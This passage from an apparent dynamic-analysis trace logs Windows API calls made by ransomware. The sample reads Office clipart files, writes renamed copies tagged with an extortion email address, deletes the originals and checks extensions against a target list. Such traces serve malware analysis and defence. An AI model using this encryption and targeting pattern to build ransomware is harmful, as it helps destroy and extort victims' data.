(hFile=0x52c) returned 1 [0307.116] CloseHandle (hObject=0x52c) returned 1 [0307.116] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.116] SetEndOfFile (hFile=0x4b8) returned 1 [0307.119] CloseHandle (hObject=0x4b8) returned 1 [0307.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0307.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 1 [0307.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0307.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0307.472] lstrlenW (lpString=".doc") returned 4 [0307.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.472] lstrlenW (lpString=".docx") returned 5 [0307.472] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0307.472] lstrlenW (lpString=".pdf") returned 4 [0307.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.472] lstrlenW (lpString=".xls") returned 4 [0307.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.472] lstrlenW (lpString=".xlsx") returned 5 [0307.472] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0307.472] lstrlenW (lpString=".ppt") returned 4 [0307.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0307.472] lstrlenW (lpString=".zip") returned 4 [0307.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.473] lstrlenW (lpString=".rar") returned 4 [0307.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.473] lstrlenW (lpString=".bz2") returned 4 [0307.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.473] lstrlenW (lpString=".7z") returned 3 [0307.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0307.473] lstrlenW (lpString=".dbf") returned 4 [0307.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0307.473] lstrlenW (lpString=".1cd") returned 4 [0307.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0307.473] lstrlenW (lpString=".jpg") returned 4 [0307.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.624] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=14174) returned 1 [0307.624] CloseHandle (hObject=0x414) returned 1 [0307.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0307.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0307.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0308.108] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.108] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0308.109] GetLastError () returned 0x0 [0308.109] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x375e, lpOverlapped=0x0) returned 1 [0308.568] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3760, lpOverlapped=0x0) returned 1 [0308.569] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0308.571] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0308.571] SetEndOfFile (hFile=0x50c) returned 1 [0308.877] CloseHandle (hObject=0x50c) returned 1 [0309.016] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.016] SetEndOfFile (hFile=0x564) returned 1 [0309.019] CloseHandle (hObject=0x564) returned 1 [0309.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0309.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0309.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0309.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0309.308] lstrlenW (lpString=".doc") returned 4 [0309.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.308] lstrlenW (lpString=".docx") returned 5 [0309.308] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0309.308] lstrlenW (lpString=".pdf") returned 4 [0309.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.308] lstrlenW (lpString=".xls") returned 4 [0309.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.308] lstrlenW (lpString=".xlsx") returned 5 [0309.308] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0309.308] lstrlenW (lpString=".ppt") returned 4 [0309.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0309.309] lstrlenW (lpString=".zip") returned 4 [0309.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.309] lstrlenW (lpString=".rar") returned 4 [0309.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.309] lstrlenW (lpString=".bz2") returned 4 [0309.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.309] lstrlenW (lpString=".7z") returned 3 [0309.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0309.309] lstrlenW (lpString=".dbf") returned 4 [0309.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0309.309] lstrlenW (lpString=".1cd") returned 4 [0309.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0309.309] lstrlenW (lpString=".jpg") returned 4 [0309.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.309] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=17638) returned 1 [0309.309] CloseHandle (hObject=0x4b8) returned 1 [0309.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0309.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0309.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0309.310] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.310] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0309.311] GetLastError () returned 0x0 [0309.311] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x44e6, lpOverlapped=0x0) returned 1 [0309.325] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x44f0, lpOverlapped=0x0) returned 1 [0309.326] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.326] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0309.326] SetEndOfFile (hFile=0x4c4) returned 1 [0309.326] CloseHandle (hObject=0x4c4) returned 1 [0309.326] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.326] SetEndOfFile (hFile=0x4b8) returned 1 [0309.329] CloseHandle (hObject=0x4b8) returned 1 [0309.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0309.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0309.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0309.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0309.330] lstrlenW (lpString=".doc") returned 4 [0309.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.330] lstrlenW (lpString=".docx") returned 5 [0309.330] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0309.330] lstrlenW (lpString=".pdf") returned 4 [0309.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.330] lstrlenW (lpString=".xls") returned 4 [0309.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.330] lstrlenW (lpString=".xlsx") returned 5 [0309.330] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0309.330] lstrlenW (lpString=".ppt") returned 4 [0309.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0309.330] lstrlenW (lpString=".zip") returned 4 [0309.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.330] lstrlenW (lpString=".rar") returned 4 [0309.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.330] lstrlenW (lpString=".bz2") returned 4 [0309.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.330] lstrlenW (lpString=".7z") returned 3 [0309.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0309.331] lstrlenW (lpString=".dbf") returned 4 [0309.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0309.331] lstrlenW (lpString=".1cd") returned 4 [0309.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0309.331] lstrlenW (lpString=".jpg") returned 4 [0309.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.331] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1456) returned 1 [0309.331] CloseHandle (hObject=0x4b8) returned 1 [0309.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0309.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0309.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0309.332] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.332] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0309.333] GetLastError () returned 0x0 [0309.333] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x5b0, lpOverlapped=0x0) returned 1 [0312.422] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0312.423] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.423] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.423] SetEndOfFile (hFile=0x4c4) returned 1 [0312.449] CloseHandle (hObject=0x4c4) returned 1 [0312.449] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.449] SetEndOfFile (hFile=0x4b8) returned 1 [0312.486] CloseHandle (hObject=0x4b8) returned 1 [0312.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0312.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0312.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0312.489] lstrlenW (lpString=".doc") returned 4 [0312.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.489] lstrlenW (lpString=".docx") returned 5 [0312.489] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0312.489] lstrlenW (lpString=".pdf") returned 4 [0312.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.490] lstrlenW (lpString=".xls") returned 4 [0312.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.490] lstrlenW (lpString=".xlsx") returned 5 [0312.490] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0312.490] lstrlenW (lpString=".ppt") returned 4 [0312.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0312.490] lstrlenW (lpString=".zip") returned 4 [0312.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.491] lstrlenW (lpString=".rar") returned 4 [0312.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.491] lstrlenW (lpString=".bz2") returned 4 [0312.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.491] lstrlenW (lpString=".7z") returned 3 [0312.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0312.491] lstrlenW (lpString=".dbf") returned 4 [0312.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0312.491] lstrlenW (lpString=".1cd") returned 4 [0312.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0312.491] lstrlenW (lpString=".jpg") returned 4 [0312.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.491] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=5314) returned 1 [0312.492] CloseHandle (hObject=0x4b8) returned 1 [0312.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0312.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0312.492] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.492] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0312.493] GetLastError () returned 0x0 [0312.493] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x14c2, lpOverlapped=0x0) returned 1 [0313.287] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0313.288] ReadFile (in: hFile=0x4b8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0313.288] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0313.289] SetEndOfFile (hFile=0x4c4) returned 1 [0313.289] CloseHandle (hObject=0x4c4) returned 1 [0313.289] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.289] SetEndOfFile (hFile=0x4b8) returned 1 [0313.291] CloseHandle (hObject=0x4b8) returned 1 [0313.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0313.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0313.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0313.292] lstrlenW (lpString=".doc") returned 4 [0313.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0313.292] lstrlenW (lpString=".docx") returned 5 [0313.292] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0313.292] lstrlenW (lpString=".pdf") returned 4 [0313.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0313.292] lstrlenW (lpString=".xls") returned 4 [0313.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0313.292] lstrlenW (lpString=".xlsx") returned 5 [0313.292] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0313.292] lstrlenW (lpString=".ppt") returned 4 [0313.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0313.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0313.293] lstrlenW (lpString=".zip") returned 4 [0313.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0313.293] lstrlenW (lpString=".rar") returned 4 [0313.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0313.293] lstrlenW (lpString=".bz2") returned 4 [0313.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0313.293] lstrlenW (lpString=".7z") returned 3 [0313.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0313.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0313.293] lstrlenW (lpString=".dbf") returned 4 [0313.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0313.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0313.293] lstrlenW (lpString=".1cd") returned 4 [0313.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0313.294] lstrlenW (lpString="C:\\Program 